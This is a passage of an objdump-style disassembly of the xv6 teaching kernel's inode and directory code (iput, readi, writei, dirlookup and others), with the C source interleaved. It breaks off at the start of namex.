801017d0 <iput>:
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
{
801017d0: 55 push %ebp
801017d1: 89 e5 mov %esp,%ebp
801017d3: 57 push %edi
801017d4: 56 push %esi
801017d5: 53 push %ebx
801017d6: 83 ec 1c sub $0x1c,%esp
801017d9: 8b 75 08 mov 0x8(%ebp),%esi
acquire(&icache.lock);
801017dc: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
801017e3: e8 b8 2b 00 00 call 801043a0 <acquire>
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
801017e8: 8b 46 08 mov 0x8(%esi),%eax
801017eb: 83 f8 01 cmp $0x1,%eax
801017ee: 74 20 je 80101810 <iput+0x40>
ip->type = 0;
iupdate(ip);
acquire(&icache.lock);
ip->flags = 0;
}
ip->ref--;
801017f0: 83 e8 01 sub $0x1,%eax
801017f3: 89 46 08 mov %eax,0x8(%esi)
release(&icache.lock);
801017f6: c7 45 08 00 0a 11 80 movl $0x80110a00,0x8(%ebp)
}
801017fd: 83 c4 1c add $0x1c,%esp
80101800: 5b pop %ebx
80101801: 5e pop %esi
80101802: 5f pop %edi
80101803: 5d pop %ebp
iupdate(ip);
acquire(&icache.lock);
ip->flags = 0;
}
ip->ref--;
release(&icache.lock);
80101804: e9 c7 2c 00 00 jmp 801044d0 <release>
80101809: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
// case it has to free the inode.
void
iput(struct inode *ip)
{
acquire(&icache.lock);
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
80101810: f6 46 4c 02 testb $0x2,0x4c(%esi)
80101814: 74 da je 801017f0 <iput+0x20>
80101816: 66 83 7e 56 00 cmpw $0x0,0x56(%esi)
8010181b: 75 d3 jne 801017f0 <iput+0x20>
// inode has no links and no other references: truncate and free.
release(&icache.lock);
8010181d: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
80101824: 89 f3 mov %esi,%ebx
80101826: e8 a5 2c 00 00 call 801044d0 <release>
8010182b: 8d 7e 30 lea 0x30(%esi),%edi
8010182e: eb 07 jmp 80101837 <iput+0x67>
80101830: 83 c3 04 add $0x4,%ebx
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101833: 39 fb cmp %edi,%ebx
80101835: 74 19 je 80101850 <iput+0x80>
if(ip->addrs[i]){
80101837: 8b 53 5c mov 0x5c(%ebx),%edx
8010183a: 85 d2 test %edx,%edx
8010183c: 74 f2 je 80101830 <iput+0x60>
bfree(ip->dev, ip->addrs[i]);
8010183e: 8b 06 mov (%esi),%eax
80101840: e8 ab fb ff ff call 801013f0 <bfree>
ip->addrs[i] = 0;
80101845: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx)
8010184c: eb e2 jmp 80101830 <iput+0x60>
8010184e: 66 90 xchg %ax,%ax
}
}
if(ip->addrs[NDIRECT]){
80101850: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax
80101856: 85 c0 test %eax,%eax
80101858: 75 3e jne 80101898 <iput+0xc8>
brelse(bp);
bfree(ip->dev, ip->addrs[NDIRECT]);
ip->addrs[NDIRECT] = 0;
}
ip->size = 0;
8010185a: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi)
iupdate(ip);
80101861: 89 34 24 mov %esi,(%esp)
80101864: e8 97 fd ff ff call 80101600 <iupdate>
acquire(&icache.lock);
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
// inode has no links and no other references: truncate and free.
release(&icache.lock);
itrunc(ip);
ip->type = 0;
80101869: 31 c0 xor %eax,%eax
8010186b: 66 89 46 50 mov %ax,0x50(%esi)
iupdate(ip);
8010186f: 89 34 24 mov %esi,(%esp)
80101872: e8 89 fd ff ff call 80101600 <iupdate>
acquire(&icache.lock);
80101877: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
8010187e: e8 1d 2b 00 00 call 801043a0 <acquire>
80101883: 8b 46 08 mov 0x8(%esi),%eax
ip->flags = 0;
80101886: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
8010188d: e9 5e ff ff ff jmp 801017f0 <iput+0x20>
80101892: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101898: 89 44 24 04 mov %eax,0x4(%esp)
8010189c: 8b 06 mov (%esi),%eax
a = (uint*)bp->data;
for(j = 0; j < NINDIRECT; j++){
8010189e: 31 db xor %ebx,%ebx
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
801018a0: 89 04 24 mov %eax,(%esp)
801018a3: e8 28 e8 ff ff call 801000d0 <bread>
801018a8: 89 45 e4 mov %eax,-0x1c(%ebp)
a = (uint*)bp->data;
801018ab: 8d 78 5c lea 0x5c(%eax),%edi
for(j = 0; j < NINDIRECT; j++){
801018ae: 31 c0 xor %eax,%eax
801018b0: eb 13 jmp 801018c5 <iput+0xf5>
801018b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801018b8: 83 c3 01 add $0x1,%ebx
801018bb: 81 fb 80 00 00 00 cmp $0x80,%ebx
801018c1: 89 d8 mov %ebx,%eax
801018c3: 74 10 je 801018d5 <iput+0x105>
if(a[j])
801018c5: 8b 14 87 mov (%edi,%eax,4),%edx
801018c8: 85 d2 test %edx,%edx
801018ca: 74 ec je 801018b8 <iput+0xe8>
bfree(ip->dev, a[j]);
801018cc: 8b 06 mov (%esi),%eax
801018ce: e8 1d fb ff ff call 801013f0 <bfree>
801018d3: eb e3 jmp 801018b8 <iput+0xe8>
}
brelse(bp);
801018d5: 8b 45 e4 mov -0x1c(%ebp),%eax
801018d8: 89 04 24 mov %eax,(%esp)
801018db: e8 00 e9 ff ff call 801001e0 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
801018e0: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx
801018e6: 8b 06 mov (%esi),%eax
801018e8: e8 03 fb ff ff call 801013f0 <bfree>
ip->addrs[NDIRECT] = 0;
801018ed: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi)
801018f4: 00 00 00
801018f7: e9 5e ff ff ff jmp 8010185a <iput+0x8a>
801018fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101900 <iunlockput>:
}
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
80101900: 55 push %ebp
80101901: 89 e5 mov %esp,%ebp
80101903: 53 push %ebx
80101904: 83 ec 14 sub $0x14,%esp
80101907: 8b 5d 08 mov 0x8(%ebp),%ebx
iunlock(ip);
8010190a: 89 1c 24 mov %ebx,(%esp)
8010190d: e8 7e fe ff ff call 80101790 <iunlock>
iput(ip);
80101912: 89 5d 08 mov %ebx,0x8(%ebp)
}
80101915: 83 c4 14 add $0x14,%esp
80101918: 5b pop %ebx
80101919: 5d pop %ebp
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
iput(ip);
8010191a: e9 b1 fe ff ff jmp 801017d0 <iput>
8010191f: 90 nop
80101920 <stati>:
}
// Copy stat information from inode.
void
stati(struct inode *ip, struct stat *st)
{
80101920: 55 push %ebp
80101921: 89 e5 mov %esp,%ebp
80101923: 8b 55 08 mov 0x8(%ebp),%edx
80101926: 8b 45 0c mov 0xc(%ebp),%eax
st->dev = ip->dev;
80101929: 8b 0a mov (%edx),%ecx
8010192b: 89 48 04 mov %ecx,0x4(%eax)
st->ino = ip->inum;
8010192e: 8b 4a 04 mov 0x4(%edx),%ecx
80101931: 89 48 08 mov %ecx,0x8(%eax)
st->type = ip->type;
80101934: 0f b7 4a 50 movzwl 0x50(%edx),%ecx
80101938: 66 89 08 mov %cx,(%eax)
st->nlink = ip->nlink;
8010193b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx
8010193f: 66 89 48 0c mov %cx,0xc(%eax)
st->size = ip->size;
80101943: 8b 52 58 mov 0x58(%edx),%edx
80101946: 89 50 10 mov %edx,0x10(%eax)
}
80101949: 5d pop %ebp
8010194a: c3 ret
8010194b: 90 nop
8010194c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101950 <readi>:
//PAGEBREAK!
// Read data from inode.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101950: 55 push %ebp
80101951: 89 e5 mov %esp,%ebp
80101953: 57 push %edi
80101954: 56 push %esi
80101955: 53 push %ebx
80101956: 83 ec 2c sub $0x2c,%esp
80101959: 8b 45 0c mov 0xc(%ebp),%eax
8010195c: 8b 7d 08 mov 0x8(%ebp),%edi
8010195f: 8b 75 10 mov 0x10(%ebp),%esi
80101962: 89 45 e0 mov %eax,-0x20(%ebp)
80101965: 8b 45 14 mov 0x14(%ebp),%eax
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101968: 66 83 7f 50 03 cmpw $0x3,0x50(%edi)
//PAGEBREAK!
// Read data from inode.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
8010196d: 89 45 e4 mov %eax,-0x1c(%ebp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101970: 0f 84 aa 00 00 00 je 80101a20 <readi+0xd0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
}
if(off > ip->size || off + n < off)
80101976: 8b 47 58 mov 0x58(%edi),%eax
80101979: 39 f0 cmp %esi,%eax
8010197b: 0f 82 c7 00 00 00 jb 80101a48 <readi+0xf8>
80101981: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101984: 89 da mov %ebx,%edx
80101986: 01 f2 add %esi,%edx
80101988: 0f 82 ba 00 00 00 jb 80101a48 <readi+0xf8>
return -1;
if(off + n > ip->size)
n = ip->size - off;
8010198e: 89 c1 mov %eax,%ecx
80101990: 29 f1 sub %esi,%ecx
80101992: 39 d0 cmp %edx,%eax
80101994: 0f 43 cb cmovae %ebx,%ecx
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101997: 31 c0 xor %eax,%eax
80101999: 85 c9 test %ecx,%ecx
}
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
8010199b: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
8010199e: 74 70 je 80101a10 <readi+0xc0>
801019a0: 89 7d d8 mov %edi,-0x28(%ebp)
801019a3: 89 c7 mov %eax,%edi
801019a5: 8d 76 00 lea 0x0(%esi),%esi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019a8: 8b 5d d8 mov -0x28(%ebp),%ebx
801019ab: 89 f2 mov %esi,%edx
801019ad: c1 ea 09 shr $0x9,%edx
801019b0: 89 d8 mov %ebx,%eax
801019b2: e8 29 f9 ff ff call 801012e0 <bmap>
801019b7: 89 44 24 04 mov %eax,0x4(%esp)
801019bb: 8b 03 mov (%ebx),%eax
m = min(n - tot, BSIZE - off%BSIZE);
801019bd: bb 00 02 00 00 mov $0x200,%ebx
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019c2: 89 04 24 mov %eax,(%esp)
801019c5: e8 06 e7 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
801019ca: 8b 4d e4 mov -0x1c(%ebp),%ecx
801019cd: 29 f9 sub %edi,%ecx
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019cf: 89 c2 mov %eax,%edx
m = min(n - tot, BSIZE - off%BSIZE);
801019d1: 89 f0 mov %esi,%eax
801019d3: 25 ff 01 00 00 and $0x1ff,%eax
801019d8: 29 c3 sub %eax,%ebx
for (int j = 0; j < min(m, 10); j++) {
cprintf("%x ", bp->data[off%BSIZE+j]);
}
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
801019da: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
801019de: 39 cb cmp %ecx,%ebx
for (int j = 0; j < min(m, 10); j++) {
cprintf("%x ", bp->data[off%BSIZE+j]);
}
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
801019e0: 89 44 24 04 mov %eax,0x4(%esp)
801019e4: 8b 45 e0 mov -0x20(%ebp),%eax
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
801019e7: 0f 47 d9 cmova %ecx,%ebx
for (int j = 0; j < min(m, 10); j++) {
cprintf("%x ", bp->data[off%BSIZE+j]);
}
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
801019ea: 89 5c 24 08 mov %ebx,0x8(%esp)
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019ee: 01 df add %ebx,%edi
801019f0: 01 de add %ebx,%esi
for (int j = 0; j < min(m, 10); j++) {
cprintf("%x ", bp->data[off%BSIZE+j]);
}
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
801019f2: 89 55 dc mov %edx,-0x24(%ebp)
801019f5: 89 04 24 mov %eax,(%esp)
801019f8: e8 d3 2b 00 00 call 801045d0 <memmove>
brelse(bp);
801019fd: 8b 55 dc mov -0x24(%ebp),%edx
80101a00: 89 14 24 mov %edx,(%esp)
80101a03: e8 d8 e7 ff ff call 801001e0 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101a08: 01 5d e0 add %ebx,-0x20(%ebp)
80101a0b: 39 7d e4 cmp %edi,-0x1c(%ebp)
80101a0e: 77 98 ja 801019a8 <readi+0x58>
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
80101a10: 8b 45 e4 mov -0x1c(%ebp),%eax
}
80101a13: 83 c4 2c add $0x2c,%esp
80101a16: 5b pop %ebx
80101a17: 5e pop %esi
80101a18: 5f pop %edi
80101a19: 5d pop %ebp
80101a1a: c3 ret
80101a1b: 90 nop
80101a1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101a20: 0f bf 47 52 movswl 0x52(%edi),%eax
80101a24: 66 83 f8 09 cmp $0x9,%ax
80101a28: 77 1e ja 80101a48 <readi+0xf8>
80101a2a: 8b 04 c5 80 09 11 80 mov -0x7feef680(,%eax,8),%eax
80101a31: 85 c0 test %eax,%eax
80101a33: 74 13 je 80101a48 <readi+0xf8>
return -1;
return devsw[ip->major].read(ip, dst, n);
80101a35: 8b 75 e4 mov -0x1c(%ebp),%esi
80101a38: 89 75 10 mov %esi,0x10(%ebp)
*/
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
}
80101a3b: 83 c4 2c add $0x2c,%esp
80101a3e: 5b pop %ebx
80101a3f: 5e pop %esi
80101a40: 5f pop %edi
80101a41: 5d pop %ebp
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
80101a42: ff e0 jmp *%eax
80101a44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
80101a48: b8 ff ff ff ff mov $0xffffffff,%eax
80101a4d: eb c4 jmp 80101a13 <readi+0xc3>
80101a4f: 90 nop
80101a50 <writei>:
// PAGEBREAK!
// Write data to inode.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101a50: 55 push %ebp
80101a51: 89 e5 mov %esp,%ebp
80101a53: 57 push %edi
80101a54: 56 push %esi
80101a55: 53 push %ebx
80101a56: 83 ec 2c sub $0x2c,%esp
80101a59: 8b 45 08 mov 0x8(%ebp),%eax
80101a5c: 8b 75 0c mov 0xc(%ebp),%esi
80101a5f: 8b 4d 14 mov 0x14(%ebp),%ecx
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101a62: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
// PAGEBREAK!
// Write data to inode.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101a67: 89 75 dc mov %esi,-0x24(%ebp)
80101a6a: 8b 75 10 mov 0x10(%ebp),%esi
80101a6d: 89 45 d8 mov %eax,-0x28(%ebp)
80101a70: 89 4d e0 mov %ecx,-0x20(%ebp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101a73: 0f 84 b7 00 00 00 je 80101b30 <writei+0xe0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
}
if(off > ip->size || off + n < off)
80101a79: 8b 45 d8 mov -0x28(%ebp),%eax
80101a7c: 39 70 58 cmp %esi,0x58(%eax)
80101a7f: 0f 82 e3 00 00 00 jb 80101b68 <writei+0x118>
80101a85: 8b 4d e0 mov -0x20(%ebp),%ecx
80101a88: 89 c8 mov %ecx,%eax
80101a8a: 01 f0 add %esi,%eax
80101a8c: 0f 82 d6 00 00 00 jb 80101b68 <writei+0x118>
return -1;
if(off + n > MAXFILE*BSIZE)
80101a92: 3d 00 18 01 00 cmp $0x11800,%eax
80101a97: 0f 87 cb 00 00 00 ja 80101b68 <writei+0x118>
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101a9d: 85 c9 test %ecx,%ecx
80101a9f: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80101aa6: 74 77 je 80101b1f <writei+0xcf>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101aa8: 8b 7d d8 mov -0x28(%ebp),%edi
80101aab: 89 f2 mov %esi,%edx
m = min(n - tot, BSIZE - off%BSIZE);
80101aad: bb 00 02 00 00 mov $0x200,%ebx
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101ab2: c1 ea 09 shr $0x9,%edx
80101ab5: 89 f8 mov %edi,%eax
80101ab7: e8 24 f8 ff ff call 801012e0 <bmap>
80101abc: 89 44 24 04 mov %eax,0x4(%esp)
80101ac0: 8b 07 mov (%edi),%eax
80101ac2: 89 04 24 mov %eax,(%esp)
80101ac5: e8 06 e6 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
80101aca: 8b 4d e0 mov -0x20(%ebp),%ecx
80101acd: 2b 4d e4 sub -0x1c(%ebp),%ecx
memmove(bp->data + off%BSIZE, src, m);
80101ad0: 8b 55 dc mov -0x24(%ebp),%edx
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101ad3: 89 c7 mov %eax,%edi
m = min(n - tot, BSIZE - off%BSIZE);
80101ad5: 89 f0 mov %esi,%eax
80101ad7: 25 ff 01 00 00 and $0x1ff,%eax
80101adc: 29 c3 sub %eax,%ebx
80101ade: 39 cb cmp %ecx,%ebx
80101ae0: 0f 47 d9 cmova %ecx,%ebx
memmove(bp->data + off%BSIZE, src, m);
80101ae3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101ae7: 01 de add %ebx,%esi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(bp->data + off%BSIZE, src, m);
80101ae9: 89 54 24 04 mov %edx,0x4(%esp)
80101aed: 89 5c 24 08 mov %ebx,0x8(%esp)
80101af1: 89 04 24 mov %eax,(%esp)
80101af4: e8 d7 2a 00 00 call 801045d0 <memmove>
log_write(bp);
80101af9: 89 3c 24 mov %edi,(%esp)
80101afc: e8 2f 12 00 00 call 80102d30 <log_write>
brelse(bp);
80101b01: 89 3c 24 mov %edi,(%esp)
80101b04: e8 d7 e6 ff ff call 801001e0 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101b09: 01 5d e4 add %ebx,-0x1c(%ebp)
80101b0c: 8b 45 e4 mov -0x1c(%ebp),%eax
80101b0f: 01 5d dc add %ebx,-0x24(%ebp)
80101b12: 39 45 e0 cmp %eax,-0x20(%ebp)
80101b15: 77 91 ja 80101aa8 <writei+0x58>
memmove(bp->data + off%BSIZE, src, m);
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
80101b17: 8b 45 d8 mov -0x28(%ebp),%eax
80101b1a: 39 70 58 cmp %esi,0x58(%eax)
80101b1d: 72 39 jb 80101b58 <writei+0x108>
ip->size = off;
iupdate(ip);
}
return n;
80101b1f: 8b 45 e0 mov -0x20(%ebp),%eax
}
80101b22: 83 c4 2c add $0x2c,%esp
80101b25: 5b pop %ebx
80101b26: 5e pop %esi
80101b27: 5f pop %edi
80101b28: 5d pop %ebp
80101b29: c3 ret
80101b2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
{
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101b30: 0f bf 40 52 movswl 0x52(%eax),%eax
80101b34: 66 83 f8 09 cmp $0x9,%ax
80101b38: 77 2e ja 80101b68 <writei+0x118>
80101b3a: 8b 04 c5 84 09 11 80 mov -0x7feef67c(,%eax,8),%eax
80101b41: 85 c0 test %eax,%eax
80101b43: 74 23 je 80101b68 <writei+0x118>
return -1;
return devsw[ip->major].write(ip, src, n);
80101b45: 89 4d 10 mov %ecx,0x10(%ebp)
if(n > 0 && off > ip->size){
ip->size = off;
iupdate(ip);
}
return n;
}
80101b48: 83 c4 2c add $0x2c,%esp
80101b4b: 5b pop %ebx
80101b4c: 5e pop %esi
80101b4d: 5f pop %edi
80101b4e: 5d pop %ebp
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
80101b4f: ff e0 jmp *%eax
80101b51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
ip->size = off;
80101b58: 8b 45 d8 mov -0x28(%ebp),%eax
80101b5b: 89 70 58 mov %esi,0x58(%eax)
iupdate(ip);
80101b5e: 89 04 24 mov %eax,(%esp)
80101b61: e8 9a fa ff ff call 80101600 <iupdate>
80101b66: eb b7 jmp 80101b1f <writei+0xcf>
}
return n;
}
80101b68: 83 c4 2c add $0x2c,%esp
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
80101b6b: b8 ff ff ff ff mov $0xffffffff,%eax
if(n > 0 && off > ip->size){
ip->size = off;
iupdate(ip);
}
return n;
}
80101b70: 5b pop %ebx
80101b71: 5e pop %esi
80101b72: 5f pop %edi
80101b73: 5d pop %ebp
80101b74: c3 ret
80101b75: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101b79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101b80 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
80101b80: 55 push %ebp
80101b81: 89 e5 mov %esp,%ebp
80101b83: 83 ec 18 sub $0x18,%esp
return strncmp(s, t, DIRSIZ);
80101b86: 8b 45 0c mov 0xc(%ebp),%eax
80101b89: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101b90: 00
80101b91: 89 44 24 04 mov %eax,0x4(%esp)
80101b95: 8b 45 08 mov 0x8(%ebp),%eax
80101b98: 89 04 24 mov %eax,(%esp)
80101b9b: e8 b0 2a 00 00 call 80104650 <strncmp>
}
80101ba0: c9 leave
80101ba1: c3 ret
80101ba2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101bb0 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
80101bb0: 55 push %ebp
80101bb1: 89 e5 mov %esp,%ebp
80101bb3: 57 push %edi
80101bb4: 56 push %esi
80101bb5: 53 push %ebx
80101bb6: 83 ec 2c sub $0x2c,%esp
80101bb9: 8b 5d 08 mov 0x8(%ebp),%ebx
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80101bbc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80101bc1: 0f 85 97 00 00 00 jne 80101c5e <dirlookup+0xae>
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
80101bc7: 8b 53 58 mov 0x58(%ebx),%edx
80101bca: 31 ff xor %edi,%edi
80101bcc: 8d 75 d8 lea -0x28(%ebp),%esi
80101bcf: 85 d2 test %edx,%edx
80101bd1: 75 0d jne 80101be0 <dirlookup+0x30>
80101bd3: eb 73 jmp 80101c48 <dirlookup+0x98>
80101bd5: 8d 76 00 lea 0x0(%esi),%esi
80101bd8: 83 c7 10 add $0x10,%edi
80101bdb: 39 7b 58 cmp %edi,0x58(%ebx)
80101bde: 76 68 jbe 80101c48 <dirlookup+0x98>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101be0: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101be7: 00
80101be8: 89 7c 24 08 mov %edi,0x8(%esp)
80101bec: 89 74 24 04 mov %esi,0x4(%esp)
80101bf0: 89 1c 24 mov %ebx,(%esp)
80101bf3: e8 58 fd ff ff call 80101950 <readi>
80101bf8: 83 f8 10 cmp $0x10,%eax
80101bfb: 75 55 jne 80101c52 <dirlookup+0xa2>
panic("dirlink read");
if(de.inum == 0)
80101bfd: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101c02: 74 d4 je 80101bd8 <dirlookup+0x28>
// Directories
int
namecmp(const char *s, const char *t)
{
return strncmp(s, t, DIRSIZ);
80101c04: 8d 45 da lea -0x26(%ebp),%eax
80101c07: 89 44 24 04 mov %eax,0x4(%esp)
80101c0b: 8b 45 0c mov 0xc(%ebp),%eax
80101c0e: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101c15: 00
80101c16: 89 04 24 mov %eax,(%esp)
80101c19: e8 32 2a 00 00 call 80104650 <strncmp>
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
if(de.inum == 0)
continue;
if(namecmp(name, de.name) == 0){
80101c1e: 85 c0 test %eax,%eax
80101c20: 75 b6 jne 80101bd8 <dirlookup+0x28>
// entry matches path element
if(poff)
80101c22: 8b 45 10 mov 0x10(%ebp),%eax
80101c25: 85 c0 test %eax,%eax
80101c27: 74 05 je 80101c2e <dirlookup+0x7e>
*poff = off;
80101c29: 8b 45 10 mov 0x10(%ebp),%eax
80101c2c: 89 38 mov %edi,(%eax)
inum = de.inum;
80101c2e: 0f b7 55 d8 movzwl -0x28(%ebp),%edx
return iget(dp->dev, inum);
80101c32: 8b 03 mov (%ebx),%eax
80101c34: e8 e7 f5 ff ff call 80101220 <iget>
}
}
return 0;
}
80101c39: 83 c4 2c add $0x2c,%esp
80101c3c: 5b pop %ebx
80101c3d: 5e pop %esi
80101c3e: 5f pop %edi
80101c3f: 5d pop %ebp
80101c40: c3 ret
80101c41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101c48: 83 c4 2c add $0x2c,%esp
inum = de.inum;
return iget(dp->dev, inum);
}
}
return 0;
80101c4b: 31 c0 xor %eax,%eax
}
80101c4d: 5b pop %ebx
80101c4e: 5e pop %esi
80101c4f: 5f pop %edi
80101c50: 5d pop %ebp
80101c51: c3 ret
if(dp->type != T_DIR)
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
80101c52: c7 04 24 f5 70 10 80 movl $0x801070f5,(%esp)
80101c59: e8 02 e7 ff ff call 80100360 <panic>
{
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
panic("dirlookup not DIR");
80101c5e: c7 04 24 e3 70 10 80 movl $0x801070e3,(%esp)
80101c65: e8 f6 e6 ff ff call 80100360 <panic>
80101c6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101c70 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101c70: 55 push %ebp
80101c71: 89 e5 mov %esp,%ebp
